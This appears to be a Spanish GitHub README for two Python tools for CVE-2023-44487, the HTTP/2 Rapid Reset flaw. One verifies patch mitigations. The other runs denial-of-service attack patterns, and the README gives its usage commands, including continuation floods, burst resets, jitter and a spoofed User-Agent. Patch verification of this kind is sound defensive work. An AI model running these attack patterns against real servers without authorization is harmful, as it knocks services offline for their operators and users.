
Una herramienta de prueba integral en Python para CVE-2023-44487, la vulnerabilidad HTTP/2 Rapid Reset. Esta versión mejorada proporciona control granular sobre los parámetros de prueba, múltiples patrones de ataque y capacidades avanzadas de monitoreo.
Una herramienta de prueba integral en Python para CVE-2023-44487, la vulnerabilidad de Restablecimiento Rápido HTTP/2. Este repositorio contiene tanto herramientas de prueba de ataque como de verificación.
¡Esta herramienta es solo para fines educativos y pruebas autorizadas!
CVE-2023-44487, también conocido como "Restablecimiento Rápido HTTP/2", es una vulnerabilidad crítica en el protocolo HTTP/2 que permite a los atacantes:
Puntuación CVSS: 7.5 (Alta)
Denegación de Servicio, Agotamiento de Recursos
h2: pip install h2git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
pip install h2
chmod +x *.py
python3 --version # Debe ser 3.7+
cve_2023_44487_verifier_enhanced.pyPropósito: Detección de señales de aplicación de medidas para verificación posterior al parche y comprobación de cumplimiento.
# Verificación básica
python3 cve_2023_44487_verifier_enhanced.py objetivo.com
# Múltiples conexiones concurrentes
python3 cve_2023_44487_verifier_enhanced.py objetivo.com -c 5 -s 500
# Salida detallada con depuración
python3 cve_2023_44487_verifier_enhanced.py objetivo.com -v -c 3 -s 1000
# Solo prueba de referencia (solicitudes normales)
python3 cve_2023_44487_verifier_enhanced.py objetivo.com --baseline-only
| Opción | Descripción | Valor por defecto |
|---|---|---|
host | Nombre de host objetivo (obligatorio) | - |
-p, --port | Puerto objetivo | 443 |
--no-ssl | Deshabilitar SSL/TLS | False (SSL habilitado) |
-s, --streams | Número de flujos por conexión | 1000 |
-d, --delay | Retardo entre operaciones de flujo (segundos) | 0.001 |
-c, --connections | Número de conexiones concurrentes | 1 |
--baseline-only | Solo realizar prueba de referencia (sin ataque) | False |
-v, --verbose | Salida detallada/depuración | False |
El script proporciona un veredicto inteligente basado en las señales de aplicación compatibles con RFC 9113:
El servidor envía GOAWAY con código de error ENHANCE_YOUR_CALM (0xb)
Clasificación: NO VULNERABLE — la aplicación a nivel de protocolo está activa
Significado: La implementación de HTTP/2 tiene controles de limitación de velocidad adecuados
El 50%+ de las conexiones se terminaron mediante restablecimiento TCP
Clasificación: PROBABLEMENTE PROTEGIDO — verifique con el equipo de infraestructura/borde
Significado: El appliance de borde o la protección DDoS actuó en la capa de transporte
La tasa de restablecimiento por segundo disminuye significativamente con el tiempo (últimos segmentos <60% de los primeros)
Clasificación: PROTECCIÓN PARCIAL — confirme con el equipo de infraestructura
Significado: El servidor o el borde está ralentizando el ataque de forma adaptativa
El servidor envía respuestas REFUSED_STREAM (0x7)
Clasificación: PROTECCIÓN PARCIAL — revise los límites de tasa
Significado: Existe alguna limitación de velocidad a nivel de flujo
No se detectó GOAWAY con ENHANCE_YOUR_CALM, ni restablecimientos TCP, ni limitación
Clasificación: VECTOR EJERCITABLE — explotabilidad no confirmada
Importante: Esto no demuestra explotabilidad de DoS. Las protecciones volumétricas/comportamentales
de borde (Akamai, CloudFlare) pueden activarse a escalas mayores
============================================================
ANÁLISIS DE SEÑALES DE APLICACIÓN
============================================================
SETTINGS del servidor (frame inicial):
HEADER_TABLE_SIZE = 4096
ENABLE_PUSH = True
MAX_CONCURRENT_STREAMS = 128
INITIAL_WINDOW_SIZE = 65535
MAX_FRAME_SIZE = 16384
→ MAX_CONCURRENT_STREAMS=128 es conservador (buen valor predeterminado post-CVE)
Desglose de GOAWAY entre conexiones:
ENHANCE_YOUR_CALM (0xb): 3/5
Otros códigos GOAWAY: 1/5
Sin GOAWAY recibido: 1/5
Restablecimiento TCP (RST en transporte): 0/5
Total de frames RST_STREAM del servidor: 2
Frames REFUSED_STREAM del servidor: 0
Conexiones que muestran limitación adaptativa: 1/5
============================================================
VEREDICTO
============================================================
✅ APLICACIÓN CONFIRMADA
3/5 conexión(es) recibieron GOAWAY con ENHANCE_YOUR_CALM (0xb).
Esta es la señal canónica de que la mitigación de CVE-2023-44487 está activa.
Clasificación: NO VULNERABLE — la aplicación a nivel de protocolo está activa.
# Verifique la implementación del parche con 10 conexiones, 500 flujos cada una
python3 cve_2023_44487_verifier_enhanced.py prod-api.ejemplo.com \
-c 10 \
-s 500 \
-d 0.0001 \
-v
# Pruebe un puerto HTTPS no estándar
python3 cve_2023_44487_verifier_enhanced.py ejemplo.com \
-p 8443 \
-c 5 \
-s 1000
# Prueba de cumplimiento con carga mínima
python3 cve_2023_44487_verifier_enhanced.py ejemplo.com \
-c 3 \
-s 200 \
--baseline-only
ENHANCE_YOUR_CALM (Código de Error 0xb):
REFUSED_STREAM (Código de Error 0x7):
Análisis de Tasa de Restablecimiento por Segundo:
RST TCP en la Capa de Transporte:
| Causa del Cierre | Significado |
|---|---|
goaway_enhance_your_calm | GOAWAY 0xb recibido (mejor indicador de la solución de CVE) |
goaway_* | GOAWAY con otro código de error |
tcp_reset | RST TCP recibido (intervención a nivel de borde) |
broken_pipe / recv_error | Error de conexión durante la comunicación |
eof_no_goaway | EOF inesperado sin GOAWAY |
no_close_no_enforcement | Conexión permaneció abierta (sin aplicación detectada) |
import asyncio
import subprocess
def ejecutar_verificacion(objetivo: str, num_conexiones: int = 3):
cmd = [
'python3', 'cve_2023_44487_verifier_enhanced.py',
objetivo,
'-c', str(num_conexiones),
'-s', '500',
'-v'
]
resultado = subprocess.run(cmd, capture_output=True, text=True)
# Analizar veredicto de la salida
if "APLICACIÓN CONFIRMADA" in resultado.stdout:
print(f"✅ {objetivo} está protegido")
return "protegido"
elif "PROBABLEMENTE PROTEGIDO" in resultado.stdout:
print(f"⚠️ {objetivo} tiene protección a nivel de borde")
return "protegido_borde"
else:
print(f"❌ {objetivo} no muestra aplicación")
return "vulnerable"
# Ejecutar prueba
estado = ejecutar_verificacion("ejemplo.com", 5)
#!/bin/bash
# Monitorear servicios críticos semanalmente
OBJETIVOS="api.ejemplo.com web.ejemplo.com cdn.ejemplo.com"
DIR_LOG="/var/log/cve-2023-44487"
mkdir -p "$DIR_LOG"
for objetivo in $OBJETIVOS; do
python3 cve_2023_44487_verifier_enhanced.py "$objetivo" \
-c 3 \
-s 500 \
-v > "$DIR_LOG/$objetivo-$(date +%Y%m%d).log" 2>&1
done
rapid_reset_test.pyPropósito: Prueba integral de ataque de Restablecimiento Rápido HTTP/2 con múltiples patrones.
python3 rapid_reset_test.py https://servidor-objetivo.com
python3 rapid_reset_test.py https://objetivo.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://objetivo.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0" \
--jitter 0.3
python3 rapid_reset_test.py https://objetivo.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
| Opción | Descripción | Valor por defecto |
|---|---|---|
-c, --connections N | Número de conexiones concurrentes | 1 |
--connection-timeout SEC | Tiempo de espera de conexión en segundos | 10 |
--read-timeout SEC | Tiempo de espera de lectura para respuestas | 5 |
--connection-delay SEC | Retardo entre conexiones | 0.0 |
| Opción | Descripción | Valor por defecto |
|---|---|---|
-r, --requests N | Solicitudes por conexión | 100 |
--delay SEC | Retardo entre HEADERS y RST_STREAM | 0.001 |
--request-delay SEC | Retardo entre solicitudes | 0.0 |
--jitter FACTOR | Factor de aleatorización de sincronización | 0.0 |
| Opción | Descripción | Valor por defecto |
|---|---|---|
--pattern TYPE | Patrón de ataque a usar | rapid_reset |
--burst-size N | Solicitudes por ráfaga | 10 |
--burst-delay SEC | Retardo entre ráfagas | 0.1 |
Patrones Disponibles:
rapid_reset - Ataque de restablecimiento rápido estándarburst_reset - Ataques basados en ráfagasgradual_reset - Tasa creciente gradualmenterandom_reset - Sincronización aleatoriacontinuation_flood - Inundación de frames CONTINUATIONmixed_pattern - Mezcla de patrones| Opción | Descripción | Valor por defecto |
|---|---|---|
--window-size BYTES | Tamaño de ventana inicial HTTP/2 | 65535 |
--frame-size BYTES | Tamaño máximo de frame | 16384 |
--header-table-size BYTES | Tamaño de tabla de cabeceras HPACK | 4096 |
--enable-push | Habilitar push del servidor HTTP/2 | False |
--rst-error-code CODE | Código de error RST_STREAM | 8 |
| Opción | Descripción | Valor por defecto |
|---|---|---|
--output FORMAT | Formato de salida | console |
--output-file FILE | Nombre de archivo de salida | auto-generado |
--verbose, -v | Salida detallada | False |
--debug | Registro de depuración | False |
--log-file FILE | Archivo de registro | None |
Formatos de Salida Disponibles:
console - Salida legible por humanosjson - JSON legible por máquinacsv - CSV compatible con hojas de cálculoxml - Formato XML estructuradoLa herramienta evalúa automáticamente la vulnerabilidad:
"No module named 'h2'"
pip install h2
Conexión rechazada / tiempo de espera
curl -I --http2 https://objetivo.comImportError con módulos h2
pip install --upgrade h2
python3 --version # Debe ser 3.7+
Permiso denegado
chmod +x *.py
python3 cve_2023_44487_verifier_enhanced.py objetivo.com
Habilite el registro detallado:
python3 cve_2023_44487_verifier_enhanced.py objetivo.com -v
Pruebe con parámetros mínimos:
python3 cve_2023_44487_verifier_enhanced.py objetivo.com -s 10 -c 1
Verifique el soporte HTTP/2:
python3 -c "import h2; print('biblioteca h2 OK')"
Este repositorio está destinado a profesionales de ciberseguridad, investigadores y administradores de sistemas para probar sus propios sistemas o sistemas para los que tengan permiso explícito.
Puntos Legales Clave:
Recuerde: Un gran poder conlleva una gran responsabilidad. Use estas herramientas de forma ética y legal.
Esta herramienta se proporciona bajo la Licencia MIT. Consulte el archivo LICENSE para obtener más detalles.
| Caso de Uso | Herramienta | Razón |
|---|---|---|
| Verificación posterior al parche | cve_2023_44487_verifier_enhanced.py | Detecta señales de aplicación |
| Comprobación de cumplimiento | cve_2023_44487_verifier_enhanced.py | Valida la mitigación de CVE |
| Evaluación de infraestructura | cve_2023_44487_verifier_enhanced.py | Veredictos claros y procesables |
| Investigación de ataques | rapid_reset_test.py | Múltiples patrones de ataque |
| Pruebas de rendimiento | rapid_reset_test.py | Métricas completas |
| Patrones personalizados | rapid_reset_test.py | Configuración granular |